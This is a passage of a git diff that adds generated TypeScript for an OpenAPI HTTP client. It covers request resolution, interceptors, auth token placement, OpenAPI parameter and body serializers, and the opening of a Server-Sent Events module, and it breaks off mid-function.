.replace(/\{([^{}]+)\}/g, (_, key: string) => + pathSerializer({ + name: key, + value: pathParams[key], + options: pathStyles?.[key], + }), + ) + return path + (search ? `?${search}` : '') +} + +/** + * Creates a transport-agnostic interceptor channel that runs interceptors in registration order. + */ +export function createInterceptorStack(): InterceptorStack< + T, + TContext +> { + let entries: Array<{ id: number; fn: InterceptorFn }> = [] + let counter = 0 + return { + use(fn) { + const id = ++counter + entries.push({ id, fn }) + return id + }, + eject(id) { + entries = entries.filter((entry) => entry.id !== id) + }, + update(id, fn) { + const entry = entries.find((item) => item.id === id) + if (entry) entry.fn = fn + }, + async run(value, context) { + let result = value + for (const entry of entries) { + result = await entry.fn(result, context) + } + return result + }, + } +} + +/** + * Walks the per-operation security in order and places the first resolved token on the request, mutating `headers` / `query` in place. + */ +export async function resolveAuth(params: { + security: Array | undefined + auth: AuthResolver | undefined + headers: Record + query: Record +}): Promise { + const { security, auth, headers, query } = params + if (!security?.length || auth === undefined) return + + for (const scheme of security) { + const token = typeof auth === 'function' ? await auth(scheme) : auth + if (token === undefined) continue + + if (scheme.type !== 'apiKey') { + if (getHeader(headers, 'Authorization') === undefined) { + headers['Authorization'] = + scheme.scheme === 'basic' + ? `Basic ${btoa(String.fromCharCode(...new TextEncoder().encode(token)))}` + : `Bearer ${token}` + } + return + } + + const name = scheme.name ?? 'Authorization' + if (scheme.in === 'query') { + if (query[name] === undefined) query[name] = token + return + } + if (scheme.in === 'cookie') { + headers['Cookie'] = [headers['Cookie'], `${name}=${token}`] + .filter(Boolean) + .join('; ') + return + } + if (getHeader(headers, name) === undefined) headers[name] = token + return + } +} + +/** A body a transport left as a stream: a web `ReadableStream` or an async iterable such as a Node readable. */ +export function isStreamed( + data: unknown, +): data is ReadableStream | AsyncIterable { + return ( + data instanceof ReadableStream || + (!!data && typeof data === 'object' && Symbol.asyncIterator in data) + ) +} + +/** The media type of the `Content-Type` response header, without its parameters. */ +export function getResponseContentType( + headers: Headers | Record | undefined, +): string | undefined { + if (!headers) return undefined + const value = + headers instanceof Headers + ? headers.get('Content-Type') + : (headers['Content-Type'] ?? headers['content-type']) + return baseContentType(value) +} + +function resolveSerializers({ + config, + requestConfig, +}: { + config: { serializer?: Serializers } + requestConfig: { serializer?: Serializers } +}) { + return { + querySerializer: + requestConfig.serializer?.query ?? + config.serializer?.query ?? + defaultQuerySerializer, + bodySerializer: + requestConfig.serializer?.body ?? + config.serializer?.body ?? + defaultBodySerializer, + pathSerializer: + requestConfig.serializer?.path ?? + config.serializer?.path ?? + defaultPathSerializer, + } +} + +async function resolveRequest({ + config, + requestConfig, +}: { + config: ClientConfig + requestConfig: RequestConfig +}): Promise<{ + request: ResolvedRequest + codecs: Record + validate: ValidateOption | undefined +}> { + const { querySerializer, bodySerializer, pathSerializer } = + resolveSerializers({ config, requestConfig }) + const codecs = { ...config.codecs, ...requestConfig.codecs } + const onValidationError = + requestConfig.onValidationError ?? config.onValidationError + const validate = requestConfig.validate ?? config.validate + const validationContext = { + direction: 'request', + method: requestConfig.method, + url: requestConfig.url, + } as const + + // Params are encoded before anything reads them: headers before styling, query before auth adds its values. + const paramValues = { + path: { ...(requestConfig.path as Record | undefined) }, + query: { + ...((requestConfig.query ?? requestConfig.params) as + | Record + | undefined), + }, + headers: collectHeadersCaseInsensitive( + config.headers, + requestConfig.headers, + ), + } + const [validatedPath, validatedQuery, validatedHeaders] = await Promise.all( + (['path', 'query', 'headers'] as const).map((source) => + runValidator({ + validator: isValidationEnabled(validate, 'params') + ? requestConfig.validator?.[source] + : undefined, + value: paramValues[source], + context: { ...validationContext, source }, + onValidationError, + }), + ), + ) + + const headers = serializeHeaders( + applyHeaderStyles( + validatedHeaders as HeadersInit | undefined, + requestConfig.styles?.header, + ), + ) + const contentType = requestConfig.contentType + const { request: requestContentTypeOption, response: responseContentType } = + typeof contentType === 'string' + ? { request: contentType } + : (contentType ?? {}) + const requestContentType = + requestContentTypeOption ?? getHeader(headers, 'content-type') + if (responseContentType && getHeader(headers, 'accept') === undefined) { + headers['Accept'] = responseContentType + } + + const query: Record = { + ...(validatedQuery as Record | undefined), + } + + await resolveAuth({ + security: requestConfig.security, + auth: requestConfig.auth ?? config.auth, + headers, + query, + }) + + if (requestConfig.cookies) { + const cookie = serializeCookies( + requestConfig.cookies as Record, + requestConfig.styles?.cookie, + ) + if (cookie) + headers['Cookie'] = [headers['Cookie'], cookie].filter(Boolean).join('; ') + } + + const validatedBody = await runValidator({ + validator: isValidationEnabled(validate, 'request') + ? requestConfig.validator?.request + : undefined, + value: requestConfig.body, + context: { ...validationContext, source: 'body' }, + onValidationError, + }) + const requestContentTypeBase = baseContentType(requestContentType) + const contentCodec = requestContentTypeBase + ? codecs[requestContentTypeBase] + : undefined + const usesDefaultBodySerializer = + !contentCodec?.serialize && bodySerializer === defaultBodySerializer + const body = contentCodec?.serialize + ? contentCodec.serialize(validatedBody, requestContentType) + : bodySerializer({ + body: validatedBody, + contentType: requestContentType, + encoding: requestConfig.styles?.body, + }) + if (requestContentTypeOption) + headers['Content-Type'] = requestContentTypeOption + if ( + usesDefaultBodySerializer && + isDefaultJsonBody(validatedBody) && + getHeader(headers, 'content-type') === undefined + ) { + headers['Content-Type'] = 'application/json' + } + // The transport must set the multipart boundary, even when a content type was explicitly provided. + if (body instanceof FormData) { + for (const key of Object.keys(headers)) { + if (key.toLowerCase() === 'content-type') delete headers[key] + } + } + + const url = serializeUrl({ + parts: [requestConfig.baseURL ?? config.baseURL, requestConfig.url], + pathParams: (validatedPath ?? {}) as Record, + search: querySerializer(query, requestConfig.styles?.query), + pathSerializer, + pathStyles: requestConfig.styles?.path, + }) + + const options = + config.options || requestConfig.options + ? { ...config.options, ...requestConfig.options } + : undefined + + return { + codecs, + validate, + request: { + url, + method: (requestConfig.method ?? 'GET').toUpperCase(), + headers, + body, + signal: requestConfig.signal, + credentials: requestConfig.credentials ?? config.credentials, + options, + responseType: requestConfig.responseType, + }, + } +} + +/** + * Creates an isolated client using the supplied default transport. + */ +export function createClientCore< + TRequest = NativeRequest, + TResponse = NativeResponse, +>( + options: { defaultTransport: Transport } & ClientConfig< + TRequest, + TResponse + >, +): ClientInstance { + const { defaultTransport, ...initialConfig } = options + let config: ClientConfig = { ...initialConfig } + + const interceptors: Interceptors = { + request: createInterceptorStack< + ResolvedRequest, + RequestConfig + >(), + response: createInterceptorStack< + TransportResult, + RequestConfig + >(), + error: createInterceptorStack< + ResponseError, + RequestConfig + >(), + } + + const client = (async ( + requestConfig: RequestConfig, + ): Promise> => { + const transport = + requestConfig.transport ?? config.transport ?? defaultTransport + const { request, codecs, validate } = await resolveRequest({ + config, + requestConfig, + }) + + const resolvedRequest = await interceptors.request.run( + request, + requestConfig, + ) + const result = await interceptors.response.run( + await transport(resolvedRequest), + requestConfig, + ) + + const throwOnError = + requestConfig.throwOnError ?? config.throwOnError ?? true + const validator = requestConfig.validator + const onValidationError = + requestConfig.onValidationError ?? config.onValidationError + const isSuccess = result.status >= 200 && result.status < 300 + const direction = isSuccess ? 'response' : 'error' + const contentType = + result.contentType ?? getResponseContentType(result.headers) + const codec = contentType ? codecs[contentType] : undefined + const decoded = + contentType && codec?.deserialize + ? await codec.deserialize(result.data, contentType) + : result.data + // A streamed success body is validated event by event in `toEventStream`, not as a whole. A JSON answer to a streamed call is a whole body. + const streaming = + isSuccess && + resolvedRequest.responseType === 'stream' && + isStreamed(decoded) + const data = await runValidator({ + validator: + isValidationEnabled(validate, direction) && !streaming + ? validator?.[direction] + : undefined, + value: decoded, + context: { + direction, + source: 'body', + method: resolvedRequest.method, + url: resolvedRequest.url, + status: result.status, + }, + onValidationError, + }) + if (!isSuccess && throwOnError) { + const responseError = new ResponseError({ + data, + status: result.status, + statusText: result.statusText, + contentType, + request: result.request, + response: result.response, + method: resolvedRequest.method, + url: resolvedRequest.url, + }) + await interceptors.error.run(responseError, requestConfig) + throw responseError + } + return { + status: result.status, + data: isSuccess ? data : undefined, + error: isSuccess ? undefined : data, + contentType, + request: result.request, + response: result.response, + } + }) as ClientInstance + + client.getConfig = () => config + client.setConfig = (next) => { + config = { + ...config, + ...next, + headers: { + ...serializeHeaders(config.headers), + ...serializeHeaders(next.headers), + }, + } + return config + } + client.getUrl = (requestConfig) => { + const { querySerializer, pathSerializer } = resolveSerializers({ + config, + requestConfig, + }) + const query: Record = { + ...((requestConfig.query ?? requestConfig.params) as + | Record + | undefined), + } + return serializeUrl({ + parts: [requestConfig.baseURL ?? config.baseURL, requestConfig.url], + pathParams: (requestConfig.path ?? {}) as Record, + search: querySerializer(query, requestConfig.styles?.query), + pathSerializer, + pathStyles: requestConfig.styles?.path, + }) + } + client.interceptors = interceptors + client.createClient = (next) => + createClientCore({ defaultTransport, ...config, ...next }) + + return client +} diff --git a/packages/ai-utils/src/generated/kubb/serializers.ts b/packages/ai-utils/src/generated/kubb/serializers.ts new file mode 100644 index 0000000000..5a00e6770e --- /dev/null +++ b/packages/ai-utils/src/generated/kubb/serializers.ts @@ -0,0 +1,698 @@ +export type HeaderValue = string | number | boolean | null | undefined | object +export type HeadersInit = + | Array<[string, HeaderValue]> + | Record + +/** + * The request body type `fetch` accepts, derived from `RequestInit` instead of the global `BodyInit` + * name, which a Node-only project (`@types/node` without the `dom` lib) does not declare. + */ +export type RequestBody = NonNullable + +export type HttpMethod = + | 'GET' + | 'PUT' + | 'PATCH' + | 'POST' + | 'DELETE' + | 'OPTIONS' + | 'HEAD' + | 'QUERY' + +/** + * The OpenAPI query-parameter serialization style. `form` is the default; `spaceDelimited` and + * `pipeDelimited` join arrays with a space or pipe, and `deepObject` renders objects as + * `key[prop]=value`. + */ +export type QueryStyle = + | 'form' + | 'spaceDelimited' + | 'pipeDelimited' + | 'deepObject' + +/** + * The serialization metadata shared by the styled parameter locations: the OpenAPI `style` (typed per + * location through `TStyle`), `explode`, and `allowReserved` (keeps RFC 3986 reserved characters + * unencoded, used by query and request bodies). + */ +export type SerializationStyle = { + style?: TStyle + explode?: boolean + allowReserved?: boolean +} + +/** The media type of a parameter described with `content`; JSON sends one JSON-encoded value. */ +export type ParamContentType = { + contentType?: string +} + +/** + * The per-parameter query serialization metadata carried by the generated request. `querystring` marks an OpenAPI 3.2 + * `in: querystring` parameter, whose JSON value is the whole query string, sent without its name. + */ +export type QueryParamStyle = SerializationStyle & + ParamContentType & { querystring?: boolean } + +/** + * Serializes the query object into a search string. The optional second argument carries the + * per-parameter OpenAPI `style` / `explode` / `allowReserved` metadata; without it arrays explode + * into repeated keys and nested objects use the `deepObject` style. + */ +export type QuerySerializer = ( + params: Record, + options?: Record, +) => string + +/** + * The per-parameter cookie serialization metadata carried by the generated request. Cookies use the + * OpenAPI `form` style, so only `explode` is configurable. + */ +export type CookieParamStyle = ParamContentType & { + explode?: boolean +} + +/** + * The per-parameter header serialization metadata carried by the generated request. Headers use the + * OpenAPI `simple` style, so only `explode` is configurable. + * + * @example + * ```ts + * // styles.header: { 'X-Ids': { explode: false } }, header [3, 4] -> 'X-Ids: 3,4' + * // styles.header: { 'X-Filter': { explode: true } }, header { role: 'admin' } -> 'X-Filter: role=admin' + * ``` + */ +export type HeaderParamStyle = ParamContentType & { + explode?: boolean +} + +/** + * The per-property `encoding` metadata for an `application/x-www-form-urlencoded` or + * `multipart/form-data` request body. `contentType` overrides the part's media type; `style` / + * `explode` / `allowReserved` follow the OpenAPI query rules for urlencoded bodies. + */ +export type BodyEncoding = SerializationStyle & { + contentType?: string +} + +/** + * Serializes the request body. JSON by default; `FormData`, `URLSearchParams`, `Blob`, + * `ArrayBuffer`, and string bodies pass through untouched. The optional `encoding` argument carries + * the per-property OpenAPI `encoding` metadata for form bodies. + */ +export type BodySerializer = (args: { + body: unknown + contentType?: string + encoding?: Record +}) => RequestBody | undefined + +/** + * The OpenAPI path-parameter serialization style. `simple` is the default and emits the bare value; + * `label` prefixes a `.` and `matrix` prefixes a `;name=` segment. + */ +export type PathStyle = 'simple' | 'label' | 'matrix' + +/** + * The per-parameter serialization metadata carried by the generated request. `style` selects the + * OpenAPI style and `explode` controls how arrays and objects expand. + */ +export type PathParamStyle = SerializationStyle + +/** + * Serializes a single path parameter for interpolation into the URL, honoring the OpenAPI `style` / + * `explode` passed as `options`. Defaults to `simple` style with `explode: false`: primitives are + * URL-encoded, arrays join their members with commas, and objects flatten to `key,value` pairs. + */ +export type PathSerializer = (args: { + name: string + value: unknown + options?: PathParamStyle +}) => string + +/** + * The per-concern serializers, grouped so they can be set in one place and overridden per client or + * per call. Each field falls back to the matching `default*Serializer` when omitted. + */ +export type Serializers = { + query?: QuerySerializer + body?: BodySerializer + path?: PathSerializer +} + +/** + * The per-parameter OpenAPI `style` / `explode` metadata a generated request carries, grouped by + * location and keyed by parameter name. Mirrors the `serializer` grouping and feeds the default + * serializers; `body` carries the form `encoding` for a urlencoded or multipart body. + */ +export type Styles = { + path?: Record + query?: Record + header?: Record + cookie?: Record + body?: Record +} + +function isFormBody(body: unknown): body is RequestBody { + return ( + body instanceof FormData || + body instanceof URLSearchParams || + body instanceof Blob || + body instanceof ArrayBuffer || + ArrayBuffer.isView(body) || + typeof body === 'string' + ) +} + +export function isDefaultJsonBody(body: unknown): boolean { + return body !== undefined && body !== null && !isFormBody(body) +} + +/** + * Emits a `bigint` (`format: int64`) as a JSON number, which `JSON.stringify` refuses to do itself. + * Past the safe-integer range it throws, so an id never goes out silently truncated. + */ +function jsonReplacer(_key: string, value: unknown): unknown { + if (typeof value !== 'bigint') return value + if (value > Number.MAX_SAFE_INTEGER || value < Number.MIN_SAFE_INTEGER) + throw new TypeError( + `Cannot serialize ${value}n as JSON without losing precision, register a serializer.body to send it another way.`, + ) + return Number(value) +} + +function appendFormDataValue({ + formData, + key, + value, + contentType, +}: { + formData: FormData + key: string + value: unknown + contentType?: string +}): void { + if (value === undefined || value === null) return + if (value instanceof Blob) { + formData.append(key, value) + return + } + if (typeof value === 'object' && !(value instanceof Date)) { + const json = JSON.stringify(value, jsonReplacer) + // A part's media type can only be set by wrapping the value in a typed Blob. + formData.append( + key, + contentType ? new Blob([json], { type: contentType }) : json, + ) + return + } + formData.append(key, toValue(value)) +} + +/** + * Default body serializer: passes binary/form bodies through and JSON-serializes everything else. + * For `multipart/form-data` plain objects become `FormData` and for + * `application/x-www-form-urlencoded` they become `URLSearchParams`. When `encoding` is supplied each + * urlencoded property follows its OpenAPI `style` / `explode` / `allowReserved`. + * + * @example + * ```ts + * defaultBodySerializer({ body: { name: 'odie' } }) // '{"name":"odie"}' + * defaultBodySerializer({ body: { field: 'x' }, contentType: 'multipart/form-data' }) // FormData + * defaultBodySerializer({ body: { tags: ['a', 'b'] }, contentType: 'application/x-www-form-urlencoded', encoding: { tags: { explode: false } } }) // 'tags=a,b' + * defaultBodySerializer({ body: { meta: { a: 1 } }, contentType: 'multipart/form-data', encoding: { meta: { contentType: 'application/json' } } }) // FormData with a typed Blob part + * ``` + */ +export const defaultBodySerializer: BodySerializer = ({ + body, + contentType, + encoding, +}) => { + if (body === undefined || body === null) return undefined + if (typeof body === 'string' && isJsonMediaType(contentType)) + return JSON.stringify(body) + if (isFormBody(body)) return body as RequestBody + const normalizedContentType = contentType?.toLowerCase() + if (normalizedContentType?.includes('multipart/form-data')) { + const formData = new FormData() + for (const [key, value] of Object.entries( + body as Record, + )) { + const partContentType = encoding?.[key]?.contentType + if (Array.isArray(value)) { + for (const item of value) + appendFormDataValue({ + formData, + key, + value: item, + contentType: partContentType, + }) + continue + } + appendFormDataValue({ + formData, + key, + value, + contentType: partContentType, + }) + } + return formData + } + if (normalizedContentType?.includes('application/x-www-form-urlencoded')) { + if (encoding) + return serializeUrlencodedBody(body as Record, encoding) + return new URLSearchParams( + serializeUrlencodedBody(body as Record, {}), + ) + } + return JSON.stringify(body, jsonReplacer) +} + +function serializeUrlencodedBody( + body: Record, + encoding: Record, +): string { + const parts: Array = [] + for (const [key, value] of Object.entries(body)) { + const propertyEncoding = encoding[key] + parts.push( + ...(propertyEncoding + ? serializeStyledQueryParam({ key, value, options: propertyEncoding }) + : serializeDefaultQueryParam(key, value)), + ) + } + return parts.join('&') +} + +/** + * The media type of a `Content-Type` value without its parameters, in lower case: `application/json; charset=utf-8` gives `application/json`. + */ +export function baseContentType( + value: string | null | undefined, +): string | undefined { + if (!value) return undefined + return value.split(';')[0]!.trim().toLowerCase() || undefined +} + +/** Whether a content type carries JSON: `application/json`, `text/json`, or a `+json` suffix. */ +export function isJsonMediaType( + contentType: string | null | undefined, +): boolean { + return /[/+]json$/.test(baseContentType(contentType) ?? '') +} + +function serializeCookie({ + name, + value, + explode, +}: { + name: string + value: unknown + explode: boolean +}): string { + if (Array.isArray(value)) { + const items = value + .filter(notNullish) + .map((item) => encodeURIComponent(toValue(item))) + return explode + ? items.map((item) => `${name}=${item}`).join('; ') + : `${name}=${items.join(',')}` + } + if (isRecord(value)) { + const entries = Object.entries(value).filter(([, item]) => notNullish(item)) + if (explode) + return entries + .map(([key, item]) => `${key}=${encodeURIComponent(toValue(item))}`) + .join('; ') + return `${name}=${entries + .flatMap(([key, item]) => [key, item]) + .map((item) => encodeURIComponent(toValue(item))) + .join(',')}` + } + return `${name}=${encodeURIComponent(toValue(value))}` +} + +/** + * Serializes cookie parameters into a `Cookie` header value using the OpenAPI `form` style, joined + * with `; `. Values are URL-encoded and `explode` is honored per parameter. + * + * @example + * ```ts + * serializeCookies({ session: 'abc', ids: [1, 2] }) // 'session=abc; ids=1,2' + * serializeCookies({ ids: [1, 2] }, { ids: { explode: true } }) // 'ids=1; ids=2' + * ``` + */ +export function serializeCookies( + cookies: Record, + styles?: Record, +): string { + const parts: Array = [] + for (const [name, value] of Object.entries(cookies)) { + if (value === undefined || value === null) continue + const style = styles?.[name] + if (isJsonMediaType(style?.contentType)) { + parts.push( + `${name}=${encodeURIComponent(JSON.stringify(value, jsonReplacer))}`, + ) + continue + } + parts.push( + serializeCookie({ name, value, explode: style?.explode ?? false }), + ) + } + return parts.join('; ') +} + +function appendQueryValue({ + search, + key, + value, +}: { + search: URLSearchParams + key: string + value: unknown +}): void { + if (value === undefined || value === null) return + if (Array.isArray(value)) { + for (const item of value) appendQueryValue({ search, key, value: item }) + return + } + if (isRecord(value)) { + for (const [prop, propValue] of Object.entries(value)) { + appendQueryValue({ search, key: `${key}[${prop}]`, value: propValue }) + } + return + } + search.append(key, toValue(value)) +} + +const queryDelimiters: Record = { + form: ',', + spaceDelimited: '%20', + pipeDelimited: '|', + deepObject: ',', +} + +function notNullish(value: unknown): boolean { + return value !== undefined && value !== null +} + +/** + * Renders a primitive parameter value as a string, serializing `Date` to ISO-8601 so dates are + * stable across path, query, cookie, and header locations rather than locale-dependent. + */ +function toValue(value: unknown): string { + return value instanceof Date ? value.toISOString() : String(value) +} + +/** + * Percent-encodes a value, keeping RFC 3986 reserved characters intact (used when `allowReserved` is set). + */ +function encodeReserved(value: unknown): string { + return encodeURI(toValue(value)) +} + +/** + * Percent-encodes a value, escaping reserved characters (the default query/path encoder). + */ +function encodeComponent(value: unknown): string { + return encodeURIComponent(toValue(value)) +} + +/** + * Whether a value should expand into bracketed/keyed parts. Arrays and `Date` are excluded so they + * are serialized as a unit (a `Date` becomes an ISO string, not its enumerable own properties). + */ +function isRecord(value: unknown): value is Record { + return ( + typeof value === 'object' && + value !== null && + !Array.isArray(value) && + !(value instanceof Date) + ) +} + +/** + * Expands an object or array into `deepObject` query parts, recursing into nested values so + * `{ a: { b: { c: 1 } } }` becomes `a[b][c]=1`. Primitives terminate the recursion. + */ +function serializeDeepObject({ + key, + value, + encode, +}: { + key: string + value: unknown + encode: (value: unknown) => string +}): Array { + if (value === undefined || value === null) return [] + if (Array.isArray(value)) + return value.flatMap((item, index) => + serializeDeepObject({ key: `${key}[${index}]`, value: item, encode }), + ) + if (isRecord(value)) { + return Object.entries(value) + .filter(([, item]) => notNullish(item)) + .flatMap(([prop, item]) => + serializeDeepObject({ key: `${key}[${prop}]`, value: item, encode }), + ) + } + return [`${encode(key)}=${encode(value)}`] +} + +function serializeStyledQueryArray({ + key, + value, + options, + encode, +}: { + key: string + value: Array + options: QueryParamStyle + encode: (value: unknown) => string +}): Array { + const items = value.filter(notNullish) + if (options.explode ?? true) + return items.map((item) => `${encode(key)}=${encode(item)}`) + return [ + `${encode(key)}=${items.map(encode).join(queryDelimiters[options.style ?? 'form'])}`, + ] +} + +function serializeStyledQueryObject({ + key, + value, + options, + encode, +}: { + key: string + value: Record + options: QueryParamStyle + encode: (value: unknown) => string +}): Array { + if ((options.style ?? 'form') === 'deepObject') + return serializeDeepObject({ key, value, encode }) + const entries = Object.entries(value).filter(([, item]) => notNullish(item)) + if (options.explode ?? true) + return entries.map(([prop, item]) => `${encode(prop)}=${encode(item)}`) + return [ + `${encode(key)}=${entries + .flatMap(([prop, item]) => [prop, item]) + .map(encode) + .join(',')}`, + ] +} + +function serializeStyledQueryParam({ + key, + value, + options, +}: { + key: string + value: unknown + options: QueryParamStyle +}): Array { + if (value === undefined || value === null) return [] + const encode = options.allowReserved ? encodeReserved : encodeComponent + if (Array.isArray(value)) + return serializeStyledQueryArray({ key, value, options, encode }) + if (isRecord(value)) + return serializeStyledQueryObject({ key, value, options, encode }) + return [`${encode(key)}=${encode(value)}`] +} + +function serializeDefaultQueryParam( + key: string, + value: unknown, +): Array { + const search = new URLSearchParams() + appendQueryValue({ search, key, value }) + const result = search.toString() + return result ? [result] : [] +} + +/** + * Default query serializer. Members with `options` metadata follow their OpenAPI `style` / `explode` + * / `allowReserved`. Members without it keep the defaults: arrays explode into repeated keys and + * nested objects use the `deepObject` style (`key[prop]=value`). + * + * @example + * ```ts + * defaultQuerySerializer({ id: [3, 4, 5] }) // 'id=3&id=4&id=5' + * defaultQuerySerializer({ id: [3, 4, 5] }, { id: { style: 'form', explode: false } }) // 'id=3,4,5' + * defaultQuerySerializer({ id: [3, 4, 5] }, { id: { style: 'spaceDelimited', explode: false } }) // 'id=3%204%205' + * defaultQuerySerializer({ id: [3, 4, 5] }, { id: { style: 'pipeDelimited', explode: false } }) // 'id=3|4|5' + * defaultQuerySerializer({ a: { b: 1 } }, { a: { style: 'deepObject' } }) // 'a%5Bb%5D=1' + * defaultQuerySerializer({ a: { b: { c: 1 } } }, { a: { style: 'deepObject' } }) // 'a%5Bb%5D%5Bc%5D=1' + * ``` + */ +export const defaultQuerySerializer: QuerySerializer = (params, options) => { + const parts: Array = [] + for (const [key, value] of Object.entries(params)) { + const paramOptions = options?.[key] + if (notNullish(value) && isJsonMediaType(paramOptions?.contentType)) { + const json = encodeComponent(JSON.stringify(value, jsonReplacer)) + parts.push( + paramOptions?.querystring ? json : `${encodeComponent(key)}=${json}`, + ) + continue + } + parts.push( + ...(paramOptions + ? serializeStyledQueryParam({ key, value, options: paramOptions }) + : serializeDefaultQueryParam(key, value)), + ) + } + return parts.join('&') +} + +function serializePathPrimitive({ + name, + value, + style, +}: { + name: string + value: unknown + style: PathStyle +}): string { + const encoded = encodeComponent(value) + if (style === 'label') return `.${encoded}` + if (style === 'matrix') return `;${name}=${encoded}` + return encoded +} + +function serializePathArray({ + name, + value, + style, + explode, +}: { + name: string + value: Array + style: PathStyle + explode: boolean +}): string { + const items = value.map(encodeComponent) + if (style === 'label') return `.${items.join(explode ? '.' : ',')}` + if (style === 'matrix') + return explode + ? items.map((item) => `;${name}=${item}`).join('') + : `;${name}=${items.join(',')}` + return items.join(',') +} + +function serializePathObject({ + name, + value, + style, + explode, +}: { + name: string + value: Record + style: PathStyle + explode: boolean +}): string { + const members = Object.entries(value).map(([key, item]) => + explode + ? `${encodeComponent(key)}=${encodeComponent(item)}` + : `${encodeComponent(key)},${encodeComponent(item)}`, + ) + if (style === 'label') return `.${members.join(explode ? '.' : ',')}` + if (style === 'matrix') + return explode + ? members.map((member) => `;${member}`).join('') + : `;${name}=${members.join(',')}` + return members.join(',') +} + +/** + * Default path serializer honoring the OpenAPI `style` / `explode` metadata. Without metadata it + * falls back to `simple` style with `explode: false`. Replaces the previous `String(value)` + * interpolation, which emitted `[object Object]` for object path params. + * + * @example + * ```ts + * defaultPathSerializer({ name: 'id', value: [3, 4, 5] }) // '3,4,5' + * defaultPathSerializer({ name: 'id', value: [3, 4, 5], options: { style: 'label', explode: true } }) // '.3.4.5' + * defaultPathSerializer({ name: 'id', value: [3, 4, 5], options: { style: 'matrix', explode: true } }) // ';id=3;id=4;id=5' + * defaultPathSerializer({ name: 'pt', value: { x: 1, y: 2 } }) // 'x,1,y,2' + * ``` + */ +export const defaultPathSerializer: PathSerializer = ({ + name, + value, + options, +}) => { + if (value === undefined || value === null) return '' + const style = options?.style ?? 'simple' + const explode = options?.explode ?? false + if (Array.isArray(value)) + return serializePathArray({ name, value, style, explode }) + if (isRecord(value)) + return serializePathObject({ name, value, style, explode }) + return serializePathPrimitive({ name, value, style }) +} + +function serializeHeaderValue(value: unknown, explode: boolean): string { + if (Array.isArray(value)) + return value.filter(notNullish).map(toValue).join(',') + if (!isRecord(value)) return toValue(value) + const entries = Object.entries(value).filter(([, item]) => notNullish(item)) + if (explode) + return entries.map(([key, item]) => `${key}=${toValue(item)}`).join(',') + return entries + .flatMap(([key, item]) => [key, item]) + .map(toValue) + .join(',') +} + +/** Header values must be Latin-1, so non-ASCII characters become JSON `\uXXXX` escapes. */ +function toAsciiJson(value: unknown): string { + return JSON.stringify(value, jsonReplacer).replace( + /[\u007f-\uffff]/g, + (char) => `\\u${char.charCodeAt(0).toString(16).padStart(4, '0')}`, + ) +} + +/** + * Serializes array and object header parameters with the OpenAPI `simple` style before they are + * merged. Header values are not URL-encoded. Primitive values and headers without metadata pass + * through untouched. + */ +export function applyHeaderStyles( + headers: HeadersInit | undefined, + styles: Record | undefined, +): HeadersInit | undefined { + if (!headers || !styles) return headers + const entries = Array.isArray(headers) ? headers : Object.entries(headers) + return entries.map(([key, value]) => { + const style = styles[key] + if (!style || value === undefined || value === null) + return [key, value] as [string, HeaderValue] + if (isJsonMediaType(style.contentType)) + return [key, toAsciiJson(value)] as [string, HeaderValue] + if (typeof value !== 'object') return [key, value] as [string, HeaderValue] + return [key, serializeHeaderValue(value, style.explode ?? false)] as [ + string, + HeaderValue, + ] + }) +} diff --git a/packages/ai-utils/src/generated/kubb/sse.ts b/packages/ai-utils/src/generated/kubb/sse.ts new file mode 100644 index 0000000000..19caafa96d --- /dev/null +++ b/packages/ai-utils/src/generated/kubb/sse.ts @@ -0,0 +1,376 @@ +import type { + DataShape, + NativeRequest, + NativeResponse, + Options, + RequestResult, + SuccessOf, +} from './client' +import type { + StandardSchemaValidator, + ValidateOption, + ValidationErrorHandler, +} from './standardSchema' +import { isValidationEnabled, runValidator } from './standardSchema' + +/** + * One decoded Server-Sent Event. `data` is parsed as JSON when valid and kept as the raw string otherwise, + * `event` is `message` when the server sent no `event` field, and `id` is the last event ID the stream has set. + */ +export type ServerSentEvent = { + data: TData + event: string + id?: string + retry?: number +} + +/** An event the document types by name: the member's own `event` and `data`, plus the `id` and `retry` any event may carry. */ +export type TypedEvent = TEvent & Pick + +/** Per-call options of a streamed operation, passed next to its request params. */ +export type EventStreamOptions = { + /** + * The largest number of characters, line breaks included, one event may hold before the blank line that ends it. + * A larger event throws a `RangeError` and cancels the stream. Set `Infinity` to turn the limit off. + * @default 16777216 + */ + maxEventSize?: number + /** + * Ends the stream when an event's raw `data` equals this value, such as `[DONE]`. + */ + terminator?: string + /** + * Maps each event before validation. + */ + transform?: (event: ServerSentEvent) => ServerSentEvent +} + +/** The options of a streamed operation: the call's `Options` with the per-call stream options, as `Options` is for a regular call. */ +export type StreamOptions< + TData extends DataShape, + ThrowOnError extends boolean = true, +> = Options & EventStreamOptions + +/** + * The validation settings a call or its client may set. + */ +type ValidationSettings = { + validate?: ValidateOption + onValidationError?: ValidationErrorHandler +} + +/** + * What the client resolves a streamed call to: the body as a stream or a decoded value, its content type, and the native response. + */ +export type EventStreamCall = { + data: unknown + error?: unknown + status?: number + contentType?: string + request?: NativeRequest + response: TResponse +} + +/** The payload wrapped in `ServerSentEvent`, or the item itself when the document types it as a whole event. */ +type StreamEvent = TData extends { event: string } + ? TData + : ServerSentEvent + +/** Parsed events with the fields a `RequestResult` carries. `TData` is the payload, or the typed event. Iterating the result reads `stream`. */ +export type EventStreamResult< + TData = unknown, + TResponse = NativeResponse, +> = AsyncIterable> & { + stream: AsyncGenerator> + /** The same events as `stream` on a 2xx response, so `.unwrap()` and `returnType: 'data'` return them. */ + data: AsyncGenerator> | undefined + status: number | undefined + /** The error body of a failed call with `throwOnError: false`, whose `stream` then yields nothing. */ + error: unknown + contentType: string | undefined + request: NativeRequest | undefined + response: TResponse + /** + * The last event ID the server sent, to resume from with a `Last-Event-ID` header on a new call. Empty until the server sends `id`. + */ + readonly lastEventId: string +} + +type StreamParts = AsyncIterable> & { + stream: AsyncGenerator> + readonly lastEventId: string +} + +type WithEvents = TResult extends { error: undefined } + ? Omit & { data: AsyncGenerator> } + : TResult + +/** A stream call's result, as `RequestResult` is a regular call's: `status` narrows `error`, and the events are its `data`. Branching on `ThrowOnError` lets a generated call cast to it. */ +export type StreamResult< + TResponses, + ThrowOnError extends boolean = true, + TData = SuccessOf, +> = ThrowOnError extends true + ? WithEvents, TData> & StreamParts + : WithEvents, TData> & StreamParts + +/** What a stream operation returns with `returnType: 'data'`, as `UnwrappedResult` is for a regular call. */ +export type UnwrappedStreamResult< + TResponses, + ThrowOnError extends boolean = true, + TData = SuccessOf, +> = ThrowOnError extends true + ? AsyncGenerator> + : StreamResult + +/** The last event ID, shared with the result so it can be read after the loop. */ +type Cursor = { lastEventId: string } + +async function* readBytes( + stream: ReadableStream | AsyncIterable, +): 